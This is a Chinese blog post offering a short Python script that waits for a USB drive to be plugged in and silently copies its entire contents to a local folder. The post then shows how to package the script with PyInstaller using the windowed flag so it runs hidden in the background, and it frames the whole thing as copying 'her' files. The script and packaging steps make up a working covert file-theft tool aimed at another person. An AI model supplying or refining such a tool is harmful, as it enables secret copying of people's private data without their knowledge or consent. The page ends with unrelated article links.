仅用几行Python代码就能复制她的U盘文件?


Posted in Python onJune 26, 2021

代码

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
# U盘的盘符
usb_path = "E:/"
# 要复制到的路径
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的代码,代码有两个地方要改成你自己的路径,我在代码里注释了

  • usb_path就是U盘的盘符,比如你的电脑有C,D盘,那么U盘插上来以后路径就是E盘
  • save_path就是你要把复制的文件保存在哪里

Python文件打包成exe

1. 在命令行用pip安装 pyinstaller包

pip install pyinstaller

2.下载安装pyinstaler运行时所需要的windows扩展pywin32

mhammond/pywin32

选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)

通过在命令行输入python查看python版本和位数

如下所示为python3.6的32位,需要下载[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示为python3.6的64位,需要下载[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令行中直接输入下面的指令即可

pyinstaller [opts] yourprogram.py

参数含义

-F    指定打包后只生成一个exe格式的文件(建议写上这个参数)

-D    ?onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)

-c    ?console, ?nowindowed 使用控制台,无界面(默认)

-w    ?windowed, ?noconsole 使用窗口,无控制台

-p    添加搜索路径,让其找到对应的库。

-i    改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)

实例说明

比如你有个python程序叫test.py,绝对路径在[D:\project],打包成一个exe格式的文件

pyinstaller -F D:\project\test.py

条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行

pyinstaller -F -w D:\project\test.py

条件同上,如果还希望更换程序图标

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

运行程序

最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。

仅用几行Python代码就能复制她的U盘文件?

到此这篇关于仅用几行Python代码就能复制她的U盘文件?的文章就介绍到这了,更多相关Python代码复制U盘文件内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
在 Django/Flask 开发服务器上使用 HTTPS
Jul 03 Python
python中readline判断文件读取结束的方法
Nov 08 Python
Python标准库内置函数complex介绍
Nov 25 Python
在Python中封装GObject模块进行图形化程序编程的教程
Apr 14 Python
解析Python编程中的包结构
Oct 25 Python
Python3.X 线程中信号量的使用方法示例
Jul 24 Python
Selenium控制浏览器常见操作示例
Aug 13 Python
Django 静态文件配置过程详解
Jul 23 Python
PYTHON发送邮件YAGMAIL的简单实现解析
Oct 28 Python
python中def是做什么的
Jun 10 Python
手把手教你如何用Pycharm2020.1.1配置远程连接的详细步骤
Aug 07 Python
Python基础进阶之海量表情包多线程爬虫功能的实现
Dec 17 Python
总结几个非常实用的Python库
Jun 26 #Python
手残删除python之后的补救方法
Python办公自动化之教你用Python批量识别发票并录入到Excel表格中
Python Pandas模块实现数据的统计分析的方法
Jun 24 #Python
FP-growth算法发现频繁项集——发现频繁项集
能让Python提速超40倍的神器Cython详解
Jun 24 #Python
FP-growth算法发现频繁项集——构建FP树
You might like
php用header函数实现301跳转代码实例
2013/11/25 PHP
ThinkPHP多语言支持与多模板支持概述
2014/08/22 PHP
PHP生成树的方法
2015/07/28 PHP
php中this关键字用法分析
2016/12/07 PHP
PHP异步进程助手async-helper
2018/02/05 PHP
JS 跳转页面延迟2种方法
2013/03/29 Javascript
Blocksit插件实现瀑布流数据无限( 异步)加载
2014/06/20 Javascript
仿百度联盟对联广告实现代码
2014/08/30 Javascript
JavaScript onkeypress事件入门实例(按下或按住一个键盘按键)
2014/10/17 Javascript
Javascript中的Prototype到底是什么
2016/02/16 Javascript
js图片上传前预览功能(兼容所有浏览器)
2016/08/24 Javascript
jQuery tagsinput在h5邮件客户端中应用详解
2016/09/26 Javascript
jQuery实现字符串全部替换的方法
2016/12/12 Javascript
详解Javascript几种跨域方式总结
2017/02/27 Javascript
浅谈js中startsWith 函数不能在任何浏览器兼容的问题
2017/03/01 Javascript
windows下vue.js开发环境搭建教程
2017/03/20 Javascript
基于javascript中的typeof和类型判断(详解)
2017/10/27 Javascript
在 Linux/Unix 中不重启 Vim 而重新加载 .vimrc 文件的流程
2018/03/21 Javascript
js中Object.defineProperty()方法的不详解
2018/07/09 Javascript
Vue 2.0 侦听器 watch属性代码详解
2019/06/19 Javascript
Vue 实现从小到大的横向滑动效果详解
2019/10/16 Javascript
通过js随机函数Math.random实现乱序
2020/05/19 Javascript
[46:09]2014 DOTA2华西杯精英邀请赛 5 25 LGD VS VG第三场
2014/05/26 DOTA
利用python微信库itchat实现微信自动回复功能
2017/05/18 Python
python使用matplotlib画柱状图、散点图
2019/03/18 Python
在django模板中实现超链接配置
2019/08/21 Python
python程序 线程队列queue使用方法解析
2019/09/23 Python
python装饰器代码深入讲解
2021/03/01 Python
美国亚洲时尚和美容产品的一站式网上商店:Stylevana
2019/09/05 全球购物
乌克兰在线电子产品商店:MTA
2019/11/14 全球购物
残疾人创业典型事迹
2014/02/01 职场文书
党的群众路线教育实践活动自我剖析材料
2014/10/08 职场文书
《西游记》读后感(3篇)
2019/09/20 职场文书
html+css实现文字折叠特效实例
2021/06/02 HTML / CSS
Python数组变形的几种实现方法
2022/05/30 Python
linux目录管理方法介绍
2022/06/01 Servers